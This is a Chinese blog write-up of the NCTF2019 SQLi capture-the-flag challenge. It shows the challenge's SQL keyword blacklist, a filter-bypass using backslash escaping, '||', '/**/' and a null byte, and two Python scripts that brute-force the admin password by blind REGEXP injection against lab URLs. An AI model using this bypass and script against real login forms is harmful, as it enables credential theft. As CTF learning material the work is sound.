[NCTF2019]SQLi regexp正则注入

进去明摆着叫我们注入获得用户名或密码,先不急看看还有没有一些信息,扫后台可以发现robots.txt文件,里面暗示我们去hint.txt看一下

可以发现我们只需要获取admin的密码即可,账号任意

 

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

因为我本来sql这方面就差劲,看见过滤了我常用的方法啥的我就直接看wp学习了

这里考到regexp正则注入REGEXP注入与LIKE注入学习笔记_Qwzf的博客-CSDN博客_regexp注入

就比如密码是admin,我们利用regexp "^a"来判断是否a开头,如果是继续遍历regexp "^ad"……以达到获得信息的效果

select * from users where username='' and passwd=''

这是他提示我们的注入语句,想办法能够自己控制语句,我们可以通过\来将第二个引号转义成字符串,形成username='\'and passwd=''红色字体变成username的值,因此我将有过滤的passwd给清除掉了,因为过滤了or,我们用||来代替,最后一个引号要用注释符#,因为也被过滤了因此要用%00,我们来验证一下

可以看到我们成功实现了自己语句控制绕过了过滤,因此我们利用脚本 

#coding:utf-8
import requests
import time
import string
url = "http://fce2fdae-f628-4e9d-ba1b-8508a2dff0c6.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits

payload = ''
for n in range(100):
	print(n)
	for i in str_list:
		data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
		res = requests.post(url = url, data = data)
		if 'welcome.php' in res.text:
			payload += i
			print(payload)
			break
		elif res.status_code == 429:
			time.sleep(1)

这是普遍网上的脚本,因为不懂string这个模块,我便自己改了一下便于理解的

#coding:utf-8
import requests
import time
url = "http://99b65a0e-e848-4d0b-a029-b03383cc9784.node4.buuoj.cn:81/"
str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!#%^&,.';()_1234567890"

payload = ''
for i in range(1,1000):
	for m in str:
			data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+m)}
			res = requests.post(url = url, data = data)
			if 'welcome.php' in res.text:
				payload += m
				print(payload)
				break
			elif res.status_code == 429:
				time.sleep(1)

但其实还是要学习官方的脚本,因为我这个自己输入字符的脚本一开始是ascii可见字符直接遍历的,但是因为是正则表达式注入,遇到

就会重复出现多个匹配,很脑疼,因此我是一边跑脚本一边删的。但是最后依然有一个bug,不知道为什么他有时候跑出来的密码有大写字母,这个我很不理解,既然密码都是小写,我为什么匹配的时候会匹配出大写字母 

满脑子问号????

这里发一下学习那模块的链接

Python字符串| ascii_lowercase - 芒果文档  所有小写字母

Python字符串| ascii_uppercase - 芒果文档 所有大写字母

Python字符串| digits - 芒果文档 数字

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
\[NCTF2019\]SQLi是一个CTF比赛中的题目,涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容,可以得知在该题目中,通过构造特定的SQL语句,可以绕过过滤,获取到管理员的密码,从而获得flag。具体的解题思路是通过不断尝试不同的字符,构造SQL语句进行盲注,判断是否成功绕过过滤。引用\[3\]提供了一个Python脚本的示例,可以用来自动化进行尝试。该脚本通过构造不同长度的payload,逐位尝试密码的每一位字符,直到获取到完整的密码。 #### 引用[.reference_title] - *1* [[NCTF2019]SQLi --BUUCTF --详解](https://blog.csdn.net/l2872253606/article/details/125265138)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[NCTF2019]SQLi(Regexp注入)](https://blog.csdn.net/weixin_45669205/article/details/116137824)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[NCTF2019]SQLi](https://blog.csdn.net/shinygod/article/details/124100832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值